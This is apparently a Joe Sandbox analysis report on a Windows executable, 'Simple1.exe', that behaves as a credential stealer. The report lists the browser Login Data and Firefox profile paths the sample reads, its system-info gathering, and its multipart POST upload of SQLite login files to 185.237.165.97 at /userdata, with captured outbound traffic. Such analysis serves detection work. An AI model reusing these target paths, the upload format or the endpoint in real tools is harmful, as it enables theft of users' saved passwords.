Dec 6, 2024 11:46:21.113461971 CET	2472	OUT	Data Raw: 74 6f 69 6e 64 65 78 5f 73 74 61 74 73 5f 31 73 74 61 74 73 13 74 0e 07 17 3b 29 01 81 11 69 6e 64 65 78 66 6f 72 65 69 67 6e 5f 6b 65 79 5f 69 6e 64 65 78 5f 6e 6f 74 65 73 70 61 73 73 77 6f 72 64 5f 6e 6f 74 65 73 11 43 52 45 41 54 45 20 49 4e Data Ascii: toindex_stats_1statst;)indexforeign_key_index_notespassword_notesCREATE INDEX foreign_key_index_notes ON password_notes (parent_id)K))Qtablepassword_notespassword_notesCREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCR
Dec 6, 2024 11:46:21.232408047 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	05:46:17
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\Simple1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Simple1.exe"
Imagebase:	0x7ff7cea90000
File size:	81'920 bytes
MD5 hash:	218954F9DD70247E51AF8A30940D5C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:46:17
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	32.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.6%
Total number of Nodes:	652
Total number of Limit Nodes:	11

Executed Functions

Function 00007FF7CEA91B50 Relevance: 178.3, APIs: 66, Strings: 35, Instructions: 1575COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CEA91520: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9157F
Part of subcall function 00007FF7CEA91520: ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF7CEA9159E
Part of subcall function 00007FF7CEA91520: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA915D2
Part of subcall function 00007FF7CEA91520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF7CEA91609
Part of subcall function 00007FF7CEA91520: isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7CEA91648
Part of subcall function 00007FF7CEA91520: ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF7CEA9166D
Part of subcall function 00007FF7CEA91520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF7CEA9169B

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA91C67
memcpy.VCRUNTIME140 ref: 00007FF7CEA91CAF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA91DB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA91E02
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA91E53
WinHttpOpen.WINHTTP ref: 00007FF7CEA91E86
WinHttpConnect.WINHTTP ref: 00007FF7CEA91EC2
memcpy.VCRUNTIME140 ref: 00007FF7CEA9207E
memcpy.VCRUNTIME140 ref: 00007FF7CEA921A4
GetFileAttributesW.KERNELBASE ref: 00007FF7CEA92254
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA922A7
memcpy.VCRUNTIME140 ref: 00007FF7CEA924FF
memcmp.VCRUNTIME140 ref: 00007FF7CEA92597
memcpy.VCRUNTIME140 ref: 00007FF7CEA927C6
memcpy.VCRUNTIME140 ref: 00007FF7CEA92BF9

Part of subcall function 00007FF7CEA9A0C0: memcpy.VCRUNTIME140 ref: 00007FF7CEA9A0F8

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA9301F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9302A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93031
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93038
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9303F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93046
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9304D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93054
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9305B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93062
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93069
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93070
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93077
WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA93357
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9339F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF7CEA933C6
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA933D6
GetLastError.KERNEL32 ref: 00007FF7CEA933A6

Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99AE6

WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA933E9
GetLastError.KERNEL32 ref: 00007FF7CEA933F1
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF7CEA93411
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA93421
WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA9342A
GetLastError.KERNEL32 ref: 00007FF7CEA93432
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9307E

Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A69
Part of subcall function 00007FF7CEA999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A89
Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A99
Part of subcall function 00007FF7CEA999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B7C
Part of subcall function 00007FF7CEA999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B83
Part of subcall function 00007FF7CEA999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B90

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93085
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9308C
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA923CE

Part of subcall function 00007FF7CEA9B508: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9B538
Part of subcall function 00007FF7CEA9B508: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9B53E

WinHttpOpenRequest.WINHTTP ref: 00007FF7CEA91F1F

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

memcpy.VCRUNTIME140 ref: 00007FF7CEA930E8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9313F
WinHttpSendRequest.WINHTTP ref: 00007FF7CEA9318B
WinHttpReceiveResponse.WINHTTP ref: 00007FF7CEA9319E
WinHttpQueryHeaders.WINHTTP ref: 00007FF7CEA931D5
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF7CEA9324A
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA9325A
WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA93263
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA932A2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA932F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93338
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF7CEA93452
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF7CEA93462
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93494
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA934DC
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA93519
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9351F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA93525
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA93537
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9353D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA93549

Strings

Content-Type: application/json, xrefs: 00007FF7CEA920AE, 00007FF7CEA92A47
?????? ???????? ?????? WinHTTP: , xrefs: 00007FF7CEA9343A
.json", xrefs: 00007FF7CEA92835
?? ??????? ????????? ??????. HTTP ?????? ???: , xrefs: 00007FF7CEA93201
?? ??????? ???????? ????? ?? ???????., xrefs: 00007FF7CEA93215
FileData is empty, xrefs: 00007FF7CEA923B1
File not found: , xrefs: 00007FF7CEA92FE9
opera, xrefs: 00007FF7CEA92324
firefox, xrefs: 00007FF7CEA92357, 00007FF7CEA92590
operagx, xrefs: 00007FF7CEA92333
brave, xrefs: 00007FF7CEA92312
Content-Type: multipart/form-data; boundary=WebKitFormBoundary, xrefs: 00007FF7CEA9317D
Content-Disposition: form-data; name="sysinfo", xrefs: 00007FF7CEA92095
chrome, xrefs: 00007FF7CEA922B8
chromebeta, xrefs: 00007FF7CEA922D0
?????? ???????? ???????: , xrefs: 00007FF7CEA93232
, xrefs: 00007FF7CEA921A9
?????? ??????? ??????????. HTTP ?????? ???: , xrefs: 00007FF7CEA931EE
/userdata, xrefs: 00007FF7CEA91ED8
yandex, xrefs: 00007FF7CEA92348
.sqlite", xrefs: 00007FF7CEA92C4F
File is found: , xrefs: 00007FF7CEA92271
name=", xrefs: 00007FF7CEA927A8, 00007FF7CEA92BDB
WinHTTP/1.0, xrefs: 00007FF7CEA91E7F
" }, xrefs: 00007FF7CEA91D4C
"; filename="login_data, xrefs: 00007FF7CEA927E7, 00007FF7CEA92C08
Content-Type: application/x-sqlite3, xrefs: 00007FF7CEA92DE1
POST, xrefs: 00007FF7CEA91F15
?????? ???????? HTTP-???????: , xrefs: 00007FF7CEA933AE
fo": ", xrefs: 00007FF7CEA91C91
?????? ?????????? ? ????????: , xrefs: 00007FF7CEA933F9
chromium, xrefs: 00007FF7CEA922E8
", "ip": ", xrefs: 00007FF7CEA91CBE
--WebKitFormBoundary, xrefs: 00007FF7CEA91F72
msedge, xrefs: 00007FF7CEA922FD

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$V01@$U?$char_traits@$D@std@@@std@@$??6?$basic_ostream@$Http$Concurrency::cancel_current_taskmemcpy$V01@@$CloseHandle$ErrorLastU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@OpenRequest$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?setw@std@@?sputc@?$basic_streambuf@?uncaught_exception@std@@AttributesConnectD@std@@@1@_FileHeadersJ@1@_Osfx@?$basic_ostream@_QueryReceiveResponseSendSmanip@_U?$_V12@V21@@V?$basic_streambuf@Vios_base@1@isalnummallocmemcmp
String ID: $" }$", "ip": "$"; filename="login_data$--WebKitFormBoundary$.json"$.sqlite"$/userdata$?? ??????? ???????? ????? ?? ???????.$?? ??????? ????????? ??????. HTTP ?????? ???: $?????? ??????? ??????????. HTTP ?????? ???: $?????? ???????? ?????? WinHTTP: $?????? ???????? ???????: $?????? ???????? HTTP-???????: $?????? ?????????? ? ????????: $Content-Disposition: form-data; name="sysinfo"$Content-Type: application/json$Content-Type: application/x-sqlite3$Content-Type: multipart/form-data; boundary=WebKitFormBoundary$File is found: $File not found: $FileData is empty$POST$WinHTTP/1.0$brave$chrome$chromebeta$chromium$firefox$fo": "$msedge$name="$opera$operagx$yandex
API String ID: 3244378811-4092172495
Opcode ID: aca90b9fdd6baca4bd01d31155b6881f673c0c07d014879c02f9f5b82f59b01f
Instruction ID: 72430515eeef2344948f6122033cf66d29e25ac089a3cc8fb2c74d9003e4ba08
Opcode Fuzzy Hash: aca90b9fdd6baca4bd01d31155b6881f673c0c07d014879c02f9f5b82f59b01f
Instruction Fuzzy Hash: FFE2B662E1878289EB10AF25DC407FDA3A1EB457B4F905631DA6D27AD6DF3CE584C320

Function 00007FF7CEA95D80 Relevance: 74.2, APIs: 27, Strings: 15, Instructions: 687
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00007FF7CEA95DC1
ShowWindow.USER32 ref: 00007FF7CEA95DCF

Part of subcall function 00007FF7CEA99610: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF7CEA91CCF), ref: 00007FF7CEA99656

Part of subcall function 00007FF7CEA94A40: memset.VCRUNTIME140(?), ref: 00007FF7CEA94A96
Part of subcall function 00007FF7CEA94A40: memset.VCRUNTIME140(?), ref: 00007FF7CEA94AAA
Part of subcall function 00007FF7CEA94A40: memset.VCRUNTIME140(?), ref: 00007FF7CEA94ABE
Part of subcall function 00007FF7CEA94A40: memset.VCRUNTIME140(?), ref: 00007FF7CEA94AD2
Part of subcall function 00007FF7CEA94A40: memset.VCRUNTIME140(?), ref: 00007FF7CEA94AE3
Part of subcall function 00007FF7CEA94A40: RegOpenKeyExA.KERNELBASE(?), ref: 00007FF7CEA94B13
Part of subcall function 00007FF7CEA94A40: RegGetValueA.KERNELBASE ref: 00007FF7CEA94B4C
Part of subcall function 00007FF7CEA94A40: RegCloseKey.KERNELBASE ref: 00007FF7CEA94B89
Part of subcall function 00007FF7CEA94A40: RegOpenKeyExA.KERNELBASE ref: 00007FF7CEA94BB8
Part of subcall function 00007FF7CEA94A40: RegGetValueA.KERNELBASE ref: 00007FF7CEA94BF1

Part of subcall function 00007FF7CEA983C0: memcpy.VCRUNTIME140 ref: 00007FF7CEA98417

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA95E4F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA95EBD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA95F2B
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7CEA95F5A
memset.VCRUNTIME140 ref: 00007FF7CEA95F6C
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF7CEA95F9A
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA9607C
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA96089
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9613E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA961AC
memcpy.VCRUNTIME140 ref: 00007FF7CEA962B9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA96340
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9637F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA963ED
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9645B

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA964B3
memset.VCRUNTIME140 ref: 00007FF7CEA964CB

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

GetModuleFileNameA.KERNEL32 ref: 00007FF7CEA964E9

Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A69
Part of subcall function 00007FF7CEA999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A89
Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A99
Part of subcall function 00007FF7CEA999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B7C
Part of subcall function 00007FF7CEA999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B83
Part of subcall function 00007FF7CEA999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B90

Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99AE6

Part of subcall function 00007FF7CEA999F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B0F
Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B36

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA965E3
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA965F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA966A5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9672C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9676E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA967C0

Part of subcall function 00007FF7CEA91310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7CEA9131B

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA96804

Part of subcall function 00007FF7CEA91270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CEA9B543), ref: 00007FF7CEA912B4

Strings

ADAPTERS INFO:, xrefs: 00007FF7CEA96150
Executable Path: , xrefs: 00007FF7CEA964EF
RAM INFO:, xrefs: 00007FF7CEA95F3D
PROCESSES RUNNING:, xrefs: 00007FF7CEA96649
CPU INFO:, xrefs: 00007FF7CEA95ECF
DOMAIN AND TZ INFO:, xrefs: 00007FF7CEA963FF
185.237.165.97, xrefs: 00007FF7CEA966C8
MACHINE INFO:, xrefs: 00007FF7CEA95DF3
USERS INFO:, xrefs: 00007FF7CEA96391
Total Physical Memory: , xrefs: 00007FF7CEA95F84
LOCALE INFO:, xrefs: 00007FF7CEA95E61
DISK INFO:, xrefs: 00007FF7CEA960E2
MB, xrefs: 00007FF7CEA95FA3
@, xrefs: 00007FF7CEA95F4D
IP: , xrefs: 00007FF7CEA9629C

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$U?$char_traits@$D@std@@@std@@$memset$U?$char_traits@_W@std@@@std@@memcpy$??1?$basic_ios@??1?$basic_iostream@?good@ios_base@std@@?sputc@?$basic_streambuf@OpenValueWindow$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@CloseConcurrency::cancel_current_taskConsoleD@std@@@1@@FileGlobalMemoryModuleNameOsfx@?$basic_ostream@_ShowStatusV01@_V12@V?$basic_streambuf@Xlength_error@std@@__std_exception_copymalloc
String ID: ADAPTERS INFO:$CPU INFO:$DISK INFO:$DOMAIN AND TZ INFO:$LOCALE INFO:$PROCESSES RUNNING:$RAM INFO:$USERS INFO:$ IP: $ MB$185.237.165.97$@$Executable Path: $MACHINE INFO:$Total Physical Memory:
API String ID: 2962708308-876331821
Opcode ID: 759681f5c6d8fd6498326c7a5f859891147f6409f7f816d3394d5c1a26cfdfcc
Instruction ID: 47ffe0ccf2a7bde73b7f8ad2e3230d7ae0ee36b968fb53c9a6a3d70d5c3adead
Opcode Fuzzy Hash: 759681f5c6d8fd6498326c7a5f859891147f6409f7f816d3394d5c1a26cfdfcc
Instruction Fuzzy Hash: 7A52A362B14A8699EF10EF64DC407BDA361BF857B4F805632EA6D67AE9DF2CD440C310

Function 00007FF7CEA95510 Relevance: 58.2, APIs: 16, Strings: 17, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7CEA95552
GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CEA95580
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7CEA95599
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA95604
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9568F

Strings

\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 00007FF7CEA957B5, 00007FF7CEA958B4
\AppData\Local\Chromium\User Data\Default\Login Data, xrefs: 00007FF7CEA956EE
defa, xrefs: 00007FF7CEA95380
\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 00007FF7CEA9571E
\logins.json, xrefs: 00007FF7CEA95817, 00007FF7CEA95839
\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 00007FF7CEA9576F
rele, xrefs: 00007FF7CEA952E1
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 00007FF7CEA956BE
?????? ??????: , xrefs: 00007FF7CEA95165
rele, xrefs: 00007FF7CEA953F0
\AppData\Local\Microsoft\Edge\User Data\Default\Login Data, xrefs: 00007FF7CEA95706
USERPROFILE, xrefs: 00007FF7CEA95579
\AppData\Roaming\Opera Software\Opera Stable\Login Data, xrefs: 00007FF7CEA95739
\times.json, xrefs: 00007FF7CEA95916, 00007FF7CEA95938
\AppData\Roaming\Opera Software\Opera GX Stable\Login Data, xrefs: 00007FF7CEA95754
\AppData\Roaming\Mozilla\Firefox\Profiles, xrefs: 00007FF7CEA9559F, 00007FF7CEA95624
\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data, xrefs: 00007FF7CEA956D6

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$EnvironmentVariablefreemalloc
